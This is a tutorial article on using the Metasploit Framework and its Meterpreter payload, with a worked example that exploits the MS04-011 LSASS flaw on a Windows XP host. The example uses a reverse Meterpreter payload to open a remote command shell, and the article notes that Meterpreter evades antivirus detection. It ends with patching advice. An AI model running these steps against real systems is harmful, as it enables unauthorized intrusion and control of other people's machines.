Metasploit - Tool to exploit vulnerabilities
METASPLOIT
1. Introduce Metasploit
The Metasploit Framework is an environment used to test, attack, and exploit service errors. Metasploit is built from Perl object-oriented language, with components written in C, assembler, and Python. Metasploit can run on most operating systems: Linux, Windows, MacOS. You can download the program at metasploit.com .
Metasploit can automatically update starting from version 2.2 onwards, using the msfupdate.bat script in the installation directory
2. Components of Metasploit
Metasploit supports multiple interfaces with users:
- Console interface: Use msfconsole.bat. The Msfconsole interface uses the command line to configure and test so it is faster and more flexible
- Web interface: Use msfweb.bat, communicate with users through the web interface
- Command line interface: Use msfcli.bat
Environment:
- Global Environment: Executed through 2 setg and unsetg statements, the options assigned here will be global, included in all exploits modules.
- Temporary Environment: Executed via 2 set and unset statements, this environment can only be entered into the module exploit currently loading, not affecting other exploit modules.
You can save the environment you have configured via the save command. That environment will be saved in /.msf/config and will be loaded again when the user interface is done.
Which options are shared between module exploits such as: LPORT, LHOST, PAYLOAD, you should be defined in the Global Environment.
For example:
msf> setg LPORT 80
msf> setg LHOST 172.16.8.2
3. How to use the Metasploit framework
3.1. Select module exploit:
Select the faulty program or service that Metasploit supports to exploit.
- show exploits: See the exploit modules that the framework supports
- use exploit_name: Select the module exploit
- info exploit_name : See information about module exploit
You should regularly update service errors on metasploit.com or via msfupdate.bat script
3.2. The exploit module configuration has been selected:
- show options: Determine what options to configure
- set : Configure the options for that module
Some modules also have advanced options, which you can view by typing the show advanceds command
3.3. Confirm the configuration options:
- check: Check if the options are set correctly.
3.4. Select target:
Select the operating system you want to perform.
- show targets: the targets provided by that module.
- set : determine which target
For example:
smf> use windows_ssl_pct
show targets
Exploit will list the targets such as: winxp, winxp SP1, win2000, win2000 SP1
3.5. Select payload:
Payload is the code that will run on the remote computer system.
- show payloads: List the current payload of the exploit module
- info payload_name: See that payload details
- set PAYLOAD payload_name: Determine module name payload. After selecting the payload, use the show option command to see the payload options.
- show advanced: See the advanced options of that payload.
3.6. Execute exploit:
- exploit: The command used to execute the payload code. Payload will then provide you with information about the system being exploited.
4. Introduce the payload meterpreter
Meterpreter, short for Meta-Interpreter is an advanced payload included in the Metasploit framework. Its purpose is to provide scripts to exploit and attack remote computers. It is written from developers in the form of shared object (DLL) files. Meterpreter and extension components implemented in memory, are not written to disk, so detection from antivirus software can be avoided.
Meterpreter provides a script so we can exploit on remote computers:
- Fs: Allows uploading and downloading files from remote machines
- Net: Allows viewing network information of remote machines such as IP, route table
- Process: Allows creation of new processes on remote machines
- Sys: Allows viewing system information of remote machines
Use the command:
- use -m module1, module2, module3 [-p path] [-d] : The use statement is used to load extension modules of meterpreter such as: Fs, Net, Process.
- loadlib -f library [-t target] [-lde] : The command allows loading libraries of remote machines.
- read channel_id [length] : The read command allows you to view the data of the remote machine on the connected channel.
- write channel_id : Write command that allows writing data to remote machines.
- close channel_id : Close the channel that is connected to the remote computer.
- interact channel_id : Start a session with the channel just set with the remote machine.
- initcrypt cipher [parameters] : Data encryption is sent between the host and remote machine.
Using Fs module: Allows uploading and downloading files from remote machines.
- cd directory: Same as the cd command of the command line
- getcwd: Indicates the current working directory
- ls [filter_string] : list directories and files
- upload src1 [src2 .] dst : Upload file
- download src1 [src2 .] dst : Download file
Use Net module:
- ipconfig
- route: View the routing table of the remote machine.
- portfwd [-arv] [-L laddr] [-l lport] [-h rhost] [-p rport] [-P] : Allows you to create a forward port between the host and remote machine.
Using Process module:
- execute -f file [-a args] [-Hc] : The execute command allows you to create a new process on the remote machine and use that process to exploit data
- kill pid1 pid2 pid3 : Cancel processes running on the remote machine
- ps : List processes of remote machine.
Using Sys module:
- getuid : Indicates the current username of the remote machine
- sysinfo : Give information about computer name, operating system.
5. For example
The localhost with 192.168.1.1 address will attack the remote machine with the address 192.168.1.2 through the error Lsass_ms04_011. This is a stack overflow error in LSA (Local Security Authority) service. Lsass.exe is a process of Microsoft Windows system, responsible for local security authentication, Active Directory management and login policies. Lsass controls both client and server authentication.
Msf> use Lsass_ms04_011
Msf> set PAYLOAD win32_reverse_meterpreter
Msf> set RHOST 192.168.1.2
Msf> set LHOST 192.168.1.1
Msf> Exploitation
Meterpreter> help
Meterpreter> use -m P // add the process script
Meterpreter> help
Meterpreter> ps // list of processes for which the remote machine is running
Meterpreter> kill // turn off processes for which the remote machine is running
Meterpreter> // attack using comandline cmd of remote machine
execute: success, process id is 3516.
execute: allocated channel 1 for new process.
meterpreter> interact 1
interact: Switching to interactive console on 1 .
interact: Started interactive channel 1.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C: WINDOWS> echo Meterpreter interactive channel in action
echo Meterpreter interactive channel in action
Meterpreter interactive channel in action
C: WINDOWS> ipconfig
Caught Ctrl-C, close interactive session? [y / N] y
meterpreter>
6. How to prevent
Regularly update Microsoft patches. For example, if Metasploit cannot exploit Lsass_ms04_011 error, you must update the Microsoft patch. According to Microsoft, this is a serious error, available on almost all Windows operating systems. You should use the hotfix that has a number of 835732 to patch the above.
TipsMake.com and readers thank you:
Viking - (ENS Group) - Adminvietnam (vuevietnam.com/forum) has cooperated to submit this article.
E mail: thanhtung22@gmail.com
See more:
- The most basic insights to becoming a Hacker - Part 1
- Basic Hack Techniques - Part I
- 10 best Hacking and security tools for Linux
- The way Hacker uses to remain anonymous
You should read it
- There is a new zero-day vulnerability in Windows
- Google discovered two serious vulnerabilities on iOS
- If you hack HP's printer, you will receive $ 10,000
- Discovering a new zero-day vulnerability in Steam, more than 100 million users may be affected
- Warning of dangerous Spring4Shell vulnerability, there are signs of scanning and exploiting
- The new vulnerability on Intel allows hackers to take control of your computer within 30 seconds
- Critical Vulnerability Discovered in 3 WordPress Plugins, Affects 84,000 Websites
- Immediately patch CWP vulnerability that allows code execution as root on Linux servers
May be interested
- Detecting extremely serious vulnerabilities that allow hacking iPhone just by sending email, victims who are not open are also attackedthe default email client pre-installed on millions of iphones and ipads now has two serious vulnerabilities that hackers can exploit to silently gain control of remote devices through sending email to users.
- WannaCry is a year old, EternalBlue is bigger than you thinktoday 12/5, commemorating the 1st anniversary of wannacry extortion's virulence broke out into a global 'pandemic'.
- What is Exploit?computer exploits or exploits are an attack taking advantage of a specific vulnerability on the system to help attackers infiltrate the computer.
- The Mail app on iOS has serious vulnerabilitiessecurity researchers at zecops have discovered two serious vulnerabilities that exist on the default mail application pre-installed on millions of iphones and ipads.
- Phones using Viber can be attackeda vulnerability can be exploited by bad guys and gain complete control of android phones that install the viber application even though the device is locked.
- Google discovered two serious vulnerabilities on iOSgoogle 's project zero security team discovered two new security vulnerabilities of the zero-day vulnerability called cve-2019-7286 and cve-2019-7287 on ios that allow hackers to exploit to take advantage of it. user.
- Summary of popular network attacks todayfor attacks by exploiting vulnerabilities, hackers must be aware of security issues on the operating system or software and take advantage of this knowledge to exploit vulnerabilities.
- Microsoft introduced a tool to fix security holes in IE 9 and 10microsoft has released an official security warning regarding zero-day vulnerabilities in ie10 last week and said ie 9 is also vulnerable.
- Web6: SQL Injection - Some Exploit Toolsin this section, the network administrator will introduce to you some tools (tools) used to exploit sql injection.
- Web3: SQL injection - Exploit directionsin this article, tipsmake.com will learn about sql injection exploits with you.